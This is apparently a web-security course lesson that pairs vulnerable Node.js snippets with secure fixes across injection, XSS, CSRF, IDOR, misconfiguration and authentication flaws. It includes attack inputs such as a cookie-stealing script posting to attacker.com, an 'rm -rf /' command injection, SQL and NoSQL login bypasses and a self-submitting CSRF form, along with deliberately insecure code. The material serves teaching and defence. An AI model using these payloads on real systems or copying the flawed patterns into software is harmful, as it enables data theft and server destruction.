Introduction to Web Security
Security vulnerabilities represent the weak points in your application's defenses. As developers, we must understand these vulnerabilities to protect our users' data and maintain trust. Today, we'll explore the most common security risks in web applications and learn practical strategies to mitigate them.
According to the OWASP Top 10 (Open Web Application Security Project), certain vulnerabilities consistently rank as the most dangerous and prevalent in web applications. Understanding these vulnerabilities is essential for any full-stack developer.
Injection Attacks
Injection attacks occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
SQL Injection
SQL injection remains one of the most dangerous and common vulnerabilities. It occurs when user input is directly incorporated into SQL queries without proper sanitization.
Vulnerable Code Example
// Dangerous SQL query construction
const username = req.body.username;
const query = "SELECT * FROM users WHERE username = '" + username + "'";
db.query(query, (err, results) => {
// Process results
});
If a user inputs admin' --, the query becomes:
SELECT * FROM users WHERE username = 'admin' --'
The -- comments out the rest of the query, potentially allowing unauthorized access.
Secure Code Example
// Using parameterized queries
const username = req.body.username;
const query = "SELECT * FROM users WHERE username = ?";
db.query(query, [username], (err, results) => {
// Process results safely
});
Real-World Impact: The Equifax Breach
In 2017, Equifax suffered a massive data breach affecting 143 million Americans. SQL injection was one of the vulnerabilities exploited, leading to exposure of names, Social Security numbers, birth dates, addresses, and driver's license numbers.
NoSQL Injection
NoSQL databases aren't immune to injection attacks. Attackers can still manipulate queries especially when using string concatenation or direct object insertion.
Vulnerable MongoDB Code
// Dangerous NoSQL query
const username = req.body.username;
const password = req.body.password;
db.collection('users').find({
username: username,
password: password
});
If an attacker sends JSON with {"username": {"$ne": null}, "password": {"$ne": null}}, they could bypass authentication by asking the database to find users where username and password are not null (which matches all users).
Secure NoSQL Code
// Sanitizing input for NoSQL
const username = String(req.body.username);
const password = String(req.body.password);
db.collection('users').find({
username: username,
password: hashedPassword // Always hash passwords!
});
Command Injection
Command injection attacks happen when an application passes unsafe user data to a system shell. This allows attackers to execute arbitrary system commands.
Vulnerable Code
// Node.js command injection vulnerability
const { exec } = require('child_process');
const userInput = req.query.filename;
exec('ls ' + userInput, (error, stdout, stderr) => {
// Process output
});
If a user inputs ; rm -rf /, they could execute a destructive command on your server.
Secure Code
// Using safer alternatives
const { execFile } = require('child_process');
const userInput = req.query.filename;
// Validate input extensively before using
if (!/^[a-zA-Z0-9_\-\.]+$/.test(userInput)) {
return res.status(400).send('Invalid filename');
}
execFile('ls', [userInput], (error, stdout, stderr) => {
// Process output safely
});
Cross-Site Scripting (XSS)
XSS attacks occur when an application includes untrusted data in a new web page without proper validation or escaping. This allows attackers to execute scripts in a victim's browser, potentially stealing session cookies, redirecting users to malicious sites, or defacing websites.
Types of XSS Attacks
Stored XSS
Also known as persistent XSS, this occurs when the malicious script is saved on the server and delivered to other users.
Vulnerable Code
// Directly inserting user comment into HTML
app.post('/comments', (req, res) => {
const comment = req.body.comment;
db.saveComment(comment);
});
// Rendering comments
app.get('/post/:id', (req, res) => {
const comments = db.getComments(req.params.id);
let html = '';
comments.forEach(comment => {
html += `<div class="comment">${comment.text}</div>`;
});
res.send(html);
});
If a user posts a comment with <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>, everyone who views that page will have their cookies stolen.
Secure Code
// Using a library to escape HTML
const escapeHtml = require('escape-html');
app.post('/comments', (req, res) => {
const comment = escapeHtml(req.body.comment);
db.saveComment(comment);
});
// Or with React's built-in protection (automatically escapes)
function CommentList({ comments }) {
return (
<div>
{comments.map(comment => (
<div className="comment" key={comment.id}>
{comment.text}
</div>
))}
</div>
);
}
Real-World Example: The Samy Worm
In 2005, the Samy worm infected over one million MySpace profiles in just 24 hours. It exploited an XSS vulnerability to spread itself to anyone viewing an infected profile. When users viewed the profile, the worm would add "Samy is my hero" to their own profile and spread to their friends.
XSS Prevention
- Content Security Policy (CSP): Restrict which scripts can execute on your site
- Input Validation: Verify that user input meets expected formats
- Output Encoding: Always encode user-generated content before displaying it
- Modern Frameworks: React, Vue, and Angular automatically escape variables in templates
- HTTPOnly Cookies: Prevent JavaScript from accessing cookies
Cross-Site Request Forgery (CSRF)
CSRF attacks trick users into submitting a malicious request. They target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request.
Vulnerable Bank Transfer Form
<form action="/transfer" method="POST">
<input type="text" name="to" placeholder="Recipient">
<input type="number" name="amount" placeholder="Amount">
<button type="submit">Transfer</button>
</form>
Malicious CSRF Exploit
// Malicious website HTML
<h1>Win a Free Prize!</h1>
<img src="cute-cat.jpg">
<!-- Hidden form that submits automatically -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
Secure Form with CSRF Token
// Server-side: Generate and store CSRF token in session
app.get('/transfer-form', (req, res) => {
const csrfToken = crypto.randomBytes(64).toString('hex');
req.session.csrfToken = csrfToken;
res.render('transfer', { csrfToken });
});
// Rendered form with token
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="{{csrfToken}}">
<input type="text" name="to" placeholder="Recipient">
<input type="number" name="amount" placeholder="Amount">
<button type="submit">Transfer</button>
</form>
// Server-side: Validate CSRF token on form submission
app.post('/transfer', (req, res) => {
if (req.body._csrf !== req.session.csrfToken) {
return res.status(403).send('CSRF token validation failed');
}
// Process transfer safely
});
CSRF Prevention Techniques
- CSRF Tokens: Include a secret, unpredictable value in forms
- Same-Site Cookies: Set cookies with
SameSite=Strictattribute - Custom Headers: Use
X-Requested-With: XMLHttpRequestfor AJAX requests - Verify Origin/Referer: Check that requests come from your domain
Insecure Direct Object References (IDOR)
IDOR vulnerabilities occur when an application uses user-supplied input to access objects directly. This can lead to unauthorized access if proper authorization checks aren't performed.
Vulnerable Endpoint
// Insecure API endpoint
app.get('/api/users/:userId/documents/:docId', (req, res) => {
const docId = req.params.docId;
const document = db.getDocument(docId);
res.json(document);
});
A malicious user could simply change the docId parameter to access other users' documents.
Secure Endpoint with Authorization
// Secure API endpoint with authorization check
app.get('/api/users/:userId/documents/:docId', (req, res) => {
const userId = req.params.userId;
const docId = req.params.docId;
// Verify the current user owns this document
if (req.user.id !== userId) {
return res.status(403).json({ error: 'Access denied' });
}
const document = db.getDocument(docId);
// Double-check ownership at the data level
if (document.ownerId !== req.user.id) {
return res.status(403).json({ error: 'Access denied' });
}
res.json(document);
});
Real-World Example: Starbucks API Vulnerability
In 2015, Starbucks had an IDOR vulnerability in their gift card API. By changing the account number in API requests, an attacker could access and transfer value from other customers' gift cards. This was discovered by a security researcher who reported it through their responsible disclosure program.
Security Misconfigurations
Security misconfigurations are the most common vulnerability and often result from:
- Default configurations
- Incomplete or ad hoc configurations
- Open cloud storage
- Error messages containing sensitive information
- Running outdated software
Common Misconfigurations
-
Verbose Error Messages:
// Leaking stack traces to users app.use((err, req, res, next) => { res.status(500).send(`Error: ${err.stack}`); }); -
Directory Listing Enabled:
// Express static serving with directory listings app.use(express.static('public', { indexes: true })); -
Default Credentials:
// Hardcoded default credentials const dbConfig = { user: 'admin', password: 'admin', database: 'production' };
Secure Configuration Practices
// Use environment variables for configuration
const dbConfig = {
user: process.env.DB_USER,
password: process.env.DB_PASSWORD,
database: process.env.DB_NAME
};
// Production-appropriate error handling
app.use((err, req, res, next) => {
console.error(err.stack); // Log full error for developers
res.status(500).send('Something went wrong'); // User-friendly message
});
// Disable directory listing
app.use(express.static('public', { indexes: false }));
// Set security headers
app.use(helmet()); // Helmet sets various HTTP headers
Security Misconfiguration Checklist
- Remove default accounts and passwords
- Implement least privilege principle
- Disable directory listings
- Keep software updated
- Use environment-specific configurations
- Remove development features in production
- Set security headers
- Validate cloud storage permissions
Sensitive Data Exposure
Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected data to conduct fraud, identity theft, or other crimes.
Insecure Data Handling
// Storing plaintext passwords
const registerUser = (email, password) => {
db.query('INSERT INTO users (email, password) VALUES (?, ?)',
[email, password]);
};
// Logging sensitive data
app.post('/payment', (req, res) => {
console.log('Processing payment:', req.body);
// req.body might contain credit card details
});
// Insecure transmission
const login = (email, password) => {
// No HTTPS enforced
$.ajax({
url: 'http://example.com/login',
data: { email, password }
});
};
Secure Data Handling
// Securely hashing passwords
const bcrypt = require('bcrypt');
const registerUser = async (email, password) => {
const saltRounds = 12;
const hashedPassword = await bcrypt.hash(password, saltRounds);
db.query('INSERT INTO users (email, password) VALUES (?, ?)',
[email, hashedPassword]);
};
// Minimal logging
app.post('/payment', (req, res) => {
const { cardNumber, ...safeData } = req.body;
console.log('Processing payment:',
{ ...safeData, cardNumber: '****' + cardNumber.slice(-4) });
});
// Force HTTPS
const express = require('express');
const app = express();
// Redirect HTTP to HTTPS
app.use((req, res, next) => {
if (!req.secure && process.env.NODE_ENV === 'production') {
return res.redirect('https://' + req.headers.host + req.url);
}
next();
});
Real-World Example: The Heartbleed Bug
In 2014, the Heartbleed bug in OpenSSL exposed millions of private keys, usernames, passwords, and other sensitive data. The bug allowed attackers to read memory from vulnerable systems, potentially leaking encryption keys and protected data. It affected approximately 17% of the world's secure web servers at the time.
Best Practices for Data Protection
- Classify data by sensitivity level
- Don't store sensitive data unnecessarily
- Use strong encryption for stored sensitive data
- Enforce HTTPS across your entire site
- Use modern algorithms and strong keys
- Disable caching for sensitive responses
- Store passwords with strong adaptive hashing functions (bcrypt, Argon2, PBKDF2)
- Verify independently the effectiveness of configurations and settings
Broken Authentication
Authentication and session management flaws can allow attackers to compromise passwords, keys, or session tokens, or exploit implementation flaws to assume other users' identities.
Vulnerable Authentication Practices
// Weak password requirements
const isValidPassword = (password) => {
return password.length >= 6;
};
// Lack of brute force protection
app.post('/login', (req, res) => {
const { username, password } = req.body;
db.getUser(username, (err, user) => {
if (user && user.password === password) {
// Create session, log user in
} else {
res.status(401).send('Invalid credentials');
}
});
});
// Insecure session management
app.get('/dashboard', (req, res) => {
const sessionId = req.cookies.sessionId;
// No session expiration or rotation
// No validation of session integrity
});
Secure Authentication Practices
// Strong password policy
const isValidPassword = (password) => {
// At least 8 chars, require uppercase, lowercase, number, and symbol
return /^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])[A-Za-z\d@$!%*?&]{8,}$/.test(password);
};
// Brute force protection with rate limiting
const rateLimit = require('express-rate-limit');
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 5, // 5 requests per windowMs
message: 'Too many login attempts, please try again later'
});
app.post('/login', loginLimiter, (req, res) => {
const { username, password } = req.body;
db.getUser(username, async (err, user) => {
if (user && await bcrypt.compare(password, user.hashedPassword)) {
// Create secure session
} else {
// Use same response time regardless of success/failure
// to prevent timing attacks
await bcrypt.compare('dummy', '$2b$10$dummyhashfordummypassword');
res.status(401).send('Invalid credentials');
}
});
});
// Secure session management
const session = require('express-session');
app.use(session({
secret: process.env.SESSION_SECRET,
name: 'sessionId', // Don't use default name
cookie: {
httpOnly: true, // Prevent JavaScript access
secure: true, // HTTPS only
sameSite: 'strict',// Prevent CSRF
maxAge: 3600000 // 1 hour expiration
},
resave: false,
saveUninitialized: false
}));
// Session regeneration on privilege level change
app.post('/login', (req, res) => {
// After authentication
req.session.regenerate((err) => {
// New session created
req.session.userId = user.id;
});
});
Authentication Best Practices
- Implement multi-factor authentication
- Never ship or deploy with default credentials
- Implement strong password policies
- Limit or increasingly delay failed login attempts
- Use a server-side, secure, built-in session manager
- Session IDs should be invalidated on logout, idle timeout, and absolute timeout
- Rotate session IDs after successful login
- Don't expose session IDs in URLs
Practical Security Exercises
Exercise 1: Security Code Review
Work in pairs to review the following code snippet for security vulnerabilities. Identify at least three issues and propose fixes.
app.post('/reset-password', (req, res) => {
const { email } = req.body;
db.query('SELECT * FROM users WHERE email = "' + email + '"', (err, user) => {
if (user) {
const token = Math.random().toString(36).substring(2, 15);
db.query('UPDATE users SET reset_token = "' + token + '" WHERE email = "' + email + '"');
res.send('Password reset link sent to: ' + email);
sendEmail(email, 'Reset your password',
'Click here to reset: http://example.com/reset?token=' + token);
} else {
res.status(404).send('Email not found');
}
});
});
app.get('/user/:id', (req, res) => {
const userId = req.params.id;
db.query('SELECT * FROM users WHERE id = ' + userId, (err, user) => {
res.json(user);
});
});
Exercise 2: Security Headers Analysis
Use an online security header checker (like SecurityHeaders.com) to analyze three popular websites. Compare their security header implementations and identify which headers are missing.
Exercise 3: Build a Secure Login System
Create a secure login system using Express and bcrypt with the following requirements:
- Password strength validation
- Secure password storage
- Protection against brute force attacks
- CSRF protection
- Secure session management
Additional Resources
- OWASP Top 10
- OWASP Cheat Sheet Series
- Snyk Learn
- Hacksplaining
- OWASP NodeGoat - Vulnerable Node.js application for learning
Next Class Preparation
For our next session on CORS and CSP, please familiarize yourself with:
- The Same-Origin Policy in web browsers
- Basic CORS headers and their purposes
- Try implementing a basic CSP policy on a sample web page